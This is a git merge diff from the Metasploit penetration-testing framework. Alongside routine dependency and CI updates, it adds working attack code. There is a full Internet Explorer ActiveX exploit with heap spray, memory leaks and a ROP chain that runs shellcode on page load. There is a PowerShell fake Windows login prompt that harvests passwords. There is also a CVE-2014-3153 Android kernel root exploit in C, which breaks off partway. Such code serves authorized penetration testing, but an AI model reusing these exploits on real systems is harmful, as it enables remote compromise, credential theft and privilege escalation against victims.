Merge branch 'master' into land-4706-smb_reflector
commit
b624278f9d
10
.travis.yml
10
.travis.yml
|
@ -11,11 +11,10 @@ matrix:
|
|||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
# Uncomment when we have fewer shipping msftidy warnings.
|
||||
# Merge committers will still be checking, just not autofailing.
|
||||
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
# - ls -la ./.git/hooks
|
||||
# - ./.git/hooks/post-merge
|
||||
# Fail build if msftidy is not successful
|
||||
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
|
@ -26,7 +25,6 @@ script:
|
|||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '1.9.3'
|
||||
- '2.1'
|
||||
|
||||
notifications:
|
||||
|
|
36
Gemfile.lock
36
Gemfile.lock
|
@ -8,8 +8,8 @@ PATH
|
|||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
meterpreter_bins (= 0.0.13)
|
||||
metasploit-model (~> 0.29.0)
|
||||
meterpreter_bins (= 0.0.14)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -22,9 +22,9 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (~> 0.13.16)
|
||||
metasploit-credential (~> 0.14.0)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 0.22.5)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -68,7 +68,7 @@ GEM
|
|||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.9)
|
||||
bcrypt (3.1.10)
|
||||
builder (3.0.4)
|
||||
capybara (2.4.1)
|
||||
mime-types (>= 1.16)
|
||||
|
@ -101,7 +101,7 @@ GEM
|
|||
gherkin (2.11.6)
|
||||
json (>= 1.7.6)
|
||||
hike (1.2.3)
|
||||
i18n (0.7.0)
|
||||
i18n (0.6.11)
|
||||
journey (1.0.4)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
|
@ -112,31 +112,31 @@ GEM
|
|||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.16)
|
||||
metasploit-credential (0.14.0)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit_data_models (~> 0.22.5)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (~> 0.23.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.28.0)
|
||||
metasploit-model (0.29.0)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit_data_models (0.22.5)
|
||||
metasploit_data_models (0.23.0)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
arel-helpers
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
recog (~> 1.0)
|
||||
meterpreter_bins (0.0.13)
|
||||
meterpreter_bins (0.0.14)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mini_portile (0.6.2)
|
||||
msgpack (0.5.9)
|
||||
mini_portile (0.6.1)
|
||||
msgpack (0.5.11)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.5)
|
||||
|
@ -172,10 +172,10 @@ GEM
|
|||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline (0.5.1)
|
||||
rb-readline (0.5.2)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.7)
|
||||
recog (1.0.16)
|
||||
nokogiri
|
||||
redcarpet (3.1.2)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -200,7 +200,7 @@ GEM
|
|||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.4.0)
|
||||
rubyzip (1.1.6)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.6.2)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,126 @@
|
|||
var Exploit = function () {
|
||||
// create its vulnerable ActiveX object (as HTMLObjectElement)
|
||||
this.obj = document.createElement("object");
|
||||
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
|
||||
// perform controlled memwrite to 0x1111f010: typed array header is at
|
||||
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
|
||||
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
|
||||
// The first 3 dwords are sideeffects due to the code we abuse for the
|
||||
// controlled memcpy
|
||||
this.whereAddress = 0x1111f010;
|
||||
this.memory = null;
|
||||
this.addresses = new Object();
|
||||
this.sprayer = null;
|
||||
this.informer = null;
|
||||
this.sc = "<%=shellcode%>";
|
||||
};
|
||||
|
||||
Exploit.prototype.run = function() {
|
||||
CollectGarbage();
|
||||
this.sprayer = new Sprayer();
|
||||
this.sprayer.spray();
|
||||
|
||||
this.memory = this.doCorruption();
|
||||
|
||||
//alert(this.memory.length.toString(16))
|
||||
if (this.memory.length != 0x7fffffff){
|
||||
//alert("Cannot change Uint32Array length");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// now we could even repair the change we did with memcpy ...
|
||||
|
||||
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
|
||||
var leakSuccess = this.leakAddresses();
|
||||
|
||||
if (leakSuccess != 0) {
|
||||
//alert("Cannot leak required address to build the ROP chain");
|
||||
return leakSuccess;
|
||||
}
|
||||
|
||||
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
|
||||
ropBuilder.buildRop();
|
||||
|
||||
// manipulate object data to gain EIP control with "Play" method
|
||||
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
|
||||
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
|
||||
|
||||
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
|
||||
this.obj.Play()
|
||||
};
|
||||
|
||||
Exploit.prototype.prepareOverflow = function() {
|
||||
// prepare buffer with address we want to write to
|
||||
var ptrBuf = "";
|
||||
// fill buffer: length = relative pointer address - buffer start + pointer
|
||||
// offset
|
||||
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
|
||||
ptrBuf += this.dword2str(this.whereAddress);
|
||||
|
||||
return ptrBuf;
|
||||
};
|
||||
|
||||
Exploit.prototype.doCorruption = function() {
|
||||
var ptrBuf = this.prepareOverflow();
|
||||
|
||||
// trigger: overflow buffer and overwrite the pointer value after buffer
|
||||
this.obj.SetText(ptrBuf, 0, 0);
|
||||
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
|
||||
|
||||
// use overwritten pointer after buffer with method "SetFontName" to conduct
|
||||
// memory write. We overwrite a typed array's header length to 0x40 and let
|
||||
// its buffer point to the next typed array header at 0x1111f030 (see above)
|
||||
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
|
||||
|
||||
|
||||
if (this.sprayer.find() == -1){
|
||||
//alert("cannot find corrupted Uint32Array");
|
||||
return -1
|
||||
}
|
||||
|
||||
// modify subsequent Uint32Array to be able to RW all process memory
|
||||
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
|
||||
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
|
||||
|
||||
// our memory READWRITE interface :)
|
||||
return this.sprayer.fullMemory;
|
||||
};
|
||||
|
||||
Exploit.prototype.leakAddresses = function() {
|
||||
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
|
||||
|
||||
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
|
||||
|
||||
// check if we have the image of VideoPlayer.ocx
|
||||
// check for MZ9000 header and "Vide" string at offset 0x6a000
|
||||
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
|
||||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
|
||||
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
|
||||
return -1;
|
||||
}
|
||||
//alert(this.addresses['base'].toString(16))
|
||||
|
||||
// get VirtualAlloc from imports of VideoPlayer.ocx
|
||||
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
|
||||
// memcpy is available inside VideoPlayer.ocx
|
||||
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
|
||||
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
|
||||
|
||||
scBuf = new Uint8Array(this.sc.length);
|
||||
for (n=0; n < this.sc.length; n++){
|
||||
scBuf[n] = this.sc.charCodeAt(n);
|
||||
}
|
||||
|
||||
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
|
||||
|
||||
return 0;
|
||||
};
|
||||
|
||||
// dword to little endian string
|
||||
Exploit.prototype.dword2str = function(dword) {
|
||||
var str = "";
|
||||
for (var n=0; n < 4; n++){
|
||||
str += String.fromCharCode((dword >> 8 * n) & 0xff);
|
||||
}
|
||||
return str;
|
||||
};
|
|
@ -0,0 +1,52 @@
|
|||
var Informer = function(infArray, mem, ref) {
|
||||
this.infoLeakArray = infArray;
|
||||
this.memoryArray = mem;
|
||||
this.referenceAddress = ref;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer.ocx base
|
||||
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
|
||||
// deref heap pointer containing VideoPlayer.ocx pointer
|
||||
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
|
||||
var base = videoplayerPtr - 0x6b3b0; // calculate base
|
||||
|
||||
return base;
|
||||
};
|
||||
|
||||
// Calculate VideoPlayer object addres
|
||||
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
|
||||
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
|
||||
//alert(mem[0x11120020/4].toString(16))
|
||||
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
|
||||
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
|
||||
|
||||
return objPtr;
|
||||
};
|
||||
|
||||
// Calculate the shellcode address
|
||||
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
|
||||
this.infoLeakArray[0] = shellcodeBuffer;
|
||||
// therefore, leak array element at 0x11120020 (typed array header of
|
||||
// Uint8Array containing shellcode) ...
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
|
||||
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
|
||||
|
||||
return shellcodeAddr;
|
||||
};
|
||||
|
||||
|
||||
Informer.prototype.leakRopAddress = function(ropArray) {
|
||||
this.infoLeakArray[0] = ropArray
|
||||
// leak array element at 0x11120020 (typed array header)
|
||||
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
|
||||
// deref array element + 0x1c (leak rop's buffer address)
|
||||
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
|
||||
|
||||
return ropAddr;
|
||||
};
|
|
@ -0,0 +1,38 @@
|
|||
var RopBuilder = function(informer, addresses, scLength) {
|
||||
this.rop = new Uint32Array(0x1000);
|
||||
this.ropAddress = informer.leakRopAddress(this.rop);
|
||||
this.base = addresses['base'];
|
||||
this.virtualAlloc = addresses['virtualAlloc'];
|
||||
this.memcpy = addresses['memcpy'];
|
||||
this.scAddr = addresses['shellcode'];
|
||||
this.scLength = scLength;
|
||||
};
|
||||
|
||||
// Build the ROP chain to bypass DEP
|
||||
RopBuilder.prototype.buildRop = function() {
|
||||
// ROP chain (rets in comments are omitted)
|
||||
// we perform:
|
||||
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
|
||||
// memcpy(EAX, shellcode, shellcodeLen)
|
||||
// (void(*)())EAX()
|
||||
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
|
||||
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
|
||||
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
|
||||
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
|
||||
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
|
||||
this.rop[offs + 0x3] = 0; // lpAddress
|
||||
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
|
||||
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
|
||||
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
|
||||
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
|
||||
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
|
||||
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
|
||||
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
|
||||
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
|
||||
this.rop[offs + 0xc] = this.memcpy;
|
||||
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
|
||||
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
|
||||
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
|
||||
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
|
||||
};
|
||||
|
|
@ -0,0 +1,58 @@
|
|||
var Sprayer = function () {
|
||||
// amount of arrays to create on the heap
|
||||
this.nrArrays = 0x1000;
|
||||
// size of data in one array block: 0xefe0 bytes =>
|
||||
// subract array header (0x20) and space for typed array headers (0x1000)
|
||||
// from 0x10000
|
||||
this.arrSize = (0x10000-0x20-0x1000)/4;
|
||||
// heap array container will hold our heap sprayed data
|
||||
this.arr = new Array(this.nrArrays);
|
||||
// use one buffer for all typed arrays
|
||||
this.intArrBuf = new ArrayBuffer(4);
|
||||
this.corruptedArray = null;
|
||||
this.corruptedArrayNext = null;
|
||||
};
|
||||
|
||||
// Spray the heap with array data blocks and subsequent typed array headers
|
||||
// of type Uint32Array
|
||||
Sprayer.prototype.spray = function() {
|
||||
var k = 0;
|
||||
while(k < this.nrArrays) {
|
||||
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
|
||||
// aligned at 0xXXXX0020)
|
||||
this.arr[k] = new Array(this.arrSize);
|
||||
|
||||
// fill remaining page (0x1000) after array data with headers of
|
||||
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
|
||||
// typed array header has the size of 0x30. 0x10 bytes are left empty
|
||||
for(var i = 0; i < 0x55; i++){
|
||||
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
|
||||
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
|
||||
}
|
||||
|
||||
// tag the array's last element
|
||||
this.arr[k][this.arrSize - 1] = 0x12121212;
|
||||
k += 1;
|
||||
}
|
||||
};
|
||||
|
||||
// Find the corrupted Uint32Array (typed array)
|
||||
Sprayer.prototype.find = function() {
|
||||
var k = 0;
|
||||
|
||||
while(k < this.nrArrays - 1) {
|
||||
for(var i = 0; i < 0x55-1; i++){
|
||||
if(this.arr[k][i][0] != 0){
|
||||
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
|
||||
// alert("0x" + arr[k][i][0].toString(16))
|
||||
this.corruptedArray = this.arr[k][i];
|
||||
this.corruptedArrayNext = this.arr[k+1];
|
||||
this.fullMemory = this.arr[k][i+1];
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
k++;
|
||||
}
|
||||
|
||||
return -1;
|
||||
};
|
|
@ -0,0 +1,11 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script src="js/exploit.js"></script>
|
||||
<script src="js/sprayer.js"></script>
|
||||
<script src="js/informer.js"></script>
|
||||
<script src="js/rop_builder.js"></script>
|
||||
</head>
|
||||
<body onload="e = new Exploit(); e.run();">
|
||||
</body>
|
||||
</html>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,22 @@
|
|||
function Invoke-LoginPrompt{
|
||||
$cred = $Host.ui.PromptForCredential("Windows Security", "R{DESCRIPTION}", "$env:userdomain\$env:username","")
|
||||
$username = "$env:username"
|
||||
$domain = "$env:userdomain"
|
||||
$full = "$domain" + "\" + "$username"
|
||||
$password = $cred.GetNetworkCredential().password
|
||||
Add-Type -assemblyname System.DirectoryServices.AccountManagement
|
||||
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
|
||||
while($DS.ValidateCredentials("$full","$password") -ne $True){
|
||||
$cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
|
||||
$username = "$env:username"
|
||||
$domain = "$env:userdomain"
|
||||
$full = "$domain" + "\" + "$username"
|
||||
$password = $cred.GetNetworkCredential().password
|
||||
Add-Type -assemblyname System.DirectoryServices.AccountManagement
|
||||
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
|
||||
$DS.ValidateCredentials("$full", "$password") | out-null
|
||||
}
|
||||
$output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
|
||||
$output
|
||||
R{START_PROCESS}
|
||||
}
|
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20150112203945) do
|
||||
ActiveRecord::Schema.define(:version => 20150212214222) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
|
||||
LOCAL_PATH := $(call my-dir)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := exploit.c
|
||||
LOCAL_CFLAGS := -fno-stack-protector -O0
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
|
||||
all: install
|
||||
|
||||
build:
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
|
||||
|
||||
install: build
|
||||
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
|
||||
|
||||
test: build
|
||||
adb push libs/armeabi/exploit /data/local/tmp/exploit
|
||||
adb shell "cd /data/local/tmp; ./exploit id"
|
||||
|
||||
clean:
|
||||
rm -rf libs
|
||||
rm -rf obj
|
||||
|
|
@ -0,0 +1,834 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/futex.h>
|
||||
#include <sys/resource.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
|
||||
|
||||
#define KERNEL_START 0xc0000000
|
||||
|
||||
#define LOCAL_PORT 5551
|
||||
|
||||
struct thread_info;
|
||||
struct task_struct;
|
||||
struct cred;
|
||||
struct kernel_cap_struct;
|
||||
struct task_security_struct;
|
||||
struct list_head;
|
||||
|
||||
struct thread_info {
|
||||
unsigned long flags;
|
||||
int preempt_count;
|
||||
unsigned long addr_limit;
|
||||
struct task_struct *task;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct kernel_cap_struct {
|
||||
unsigned long cap[2];
|
||||
};
|
||||
|
||||
struct cred {
|
||||
unsigned long usage;
|
||||
uid_t uid;
|
||||
gid_t gid;
|
||||
uid_t suid;
|
||||
gid_t sgid;
|
||||
uid_t euid;
|
||||
gid_t egid;
|
||||
uid_t fsuid;
|
||||
gid_t fsgid;
|
||||
unsigned long securebits;
|
||||
struct kernel_cap_struct cap_inheritable;
|
||||
struct kernel_cap_struct cap_permitted;
|
||||
struct kernel_cap_struct cap_effective;
|
||||
struct kernel_cap_struct cap_bset;
|
||||
unsigned char jit_keyring;
|
||||
void *thread_keyring;
|
||||
void *request_key_auth;
|
||||
void *tgcred;
|
||||
struct task_security_struct *security;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct task_security_struct {
|
||||
unsigned long osid;
|
||||
unsigned long sid;
|
||||
unsigned long exec_sid;
|
||||
unsigned long create_sid;
|
||||
unsigned long keycreate_sid;
|
||||
unsigned long sockcreate_sid;
|
||||
};
|
||||
|
||||
|
||||
struct task_struct_partial {
|
||||
struct list_head cpu_timers[3];
|
||||
struct cred *real_cred;
|
||||
struct cred *cred;
|
||||
struct cred *replacement_session_keyring;
|
||||
char comm[16];
|
||||
};
|
||||
|
||||
|
||||
struct mmsghdr {
|
||||
struct msghdr msg_hdr;
|
||||
unsigned int msg_len;
|
||||
};
|
||||
|
||||
//bss
|
||||
int uaddr1 = 0;
|
||||
int uaddr2 = 0;
|
||||
struct thread_info *HACKS_final_stack_base = NULL;
|
||||
pid_t waiter_thread_tid;
|
||||
pthread_mutex_t done_lock;
|
||||
pthread_cond_t done;
|
||||
pthread_mutex_t is_thread_desched_lock;
|
||||
pthread_cond_t is_thread_desched;
|
||||
volatile int do_socket_tid_read = 0;
|
||||
volatile int did_socket_tid_read = 0;
|
||||
volatile int do_splice_tid_read = 0;
|
||||
volatile int did_splice_tid_read = 0;
|
||||
volatile int do_dm_tid_read = 0;
|
||||
volatile int did_dm_tid_read = 0;
|
||||
pthread_mutex_t is_thread_awake_lock;
|
||||
pthread_cond_t is_thread_awake;
|
||||
int HACKS_fdm = 0;
|
||||
unsigned long MAGIC = 0;
|
||||
unsigned long MAGIC_ALT = 0;
|
||||
pthread_mutex_t *is_kernel_writing;
|
||||
pid_t last_tid = 0;
|
||||
int g_argc;
|
||||
char rootcmd[2048] = "";
|
||||
|
||||
|
||||
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
len = write(pipefd[1], writebuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
read(pipefd[0], readbuf, count);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
write(pipefd[1], writebuf, count);
|
||||
len = read(pipefd[0], readbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
void write_kernel(int signum)
|
||||
{
|
||||
struct thread_info stackbuf;
|
||||
unsigned long taskbuf[0x100];
|
||||
struct cred *cred;
|
||||
struct cred credbuf;
|
||||
struct task_security_struct *security;
|
||||
struct task_security_struct securitybuf;
|
||||
pid_t pid;
|
||||
int i;
|
||||
int ret;
|
||||
FILE *fp;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
pthread_cond_signal(&is_thread_awake);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
if (HACKS_final_stack_base == NULL) {
|
||||
static unsigned long new_addr_limit = 0xffffffff;
|
||||
char *slavename;
|
||||
int pipefd[2];
|
||||
char readbuf[0x100];
|
||||
|
||||
printf("cpid1 resumed\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
HACKS_fdm = open("/dev/ptmx", O_RDWR);
|
||||
unlockpt(HACKS_fdm);
|
||||
slavename = ptsname(HACKS_fdm);
|
||||
|
||||
open(slavename, O_RDWR);
|
||||
|
||||
do_splice_tid_read = 1;
|
||||
while (1) {
|
||||
if (did_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read(HACKS_fdm, readbuf, sizeof readbuf);
|
||||
|
||||
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
|
||||
|
||||
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
|
||||
|
||||
pthread_mutex_unlock(is_kernel_writing);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
printf("cpid3 resumed.\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
printf("hack.\n");
|
||||
|
||||
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
|
||||
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
|
||||
|
||||
cred = NULL;
|
||||
security = NULL;
|
||||
pid = 0;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
struct task_struct_partial *task = (void *)&taskbuf[i];
|
||||
|
||||
|
||||
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
|
||||
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
|
||||
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
|
||||
&& task->real_cred == task->cred) {
|
||||
cred = task->cred;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
security = credbuf.security;
|
||||
|
||||
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
|
||||
read_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
|
||||
if (securitybuf.osid != 0
|
||||
&& securitybuf.sid != 0
|
||||
&& securitybuf.exec_sid == 0
|
||||
&& securitybuf.create_sid == 0
|
||||
&& securitybuf.keycreate_sid == 0
|
||||
&& securitybuf.sockcreate_sid == 0) {
|
||||
securitybuf.osid = 1;
|
||||
securitybuf.sid = 1;
|
||||
|
||||
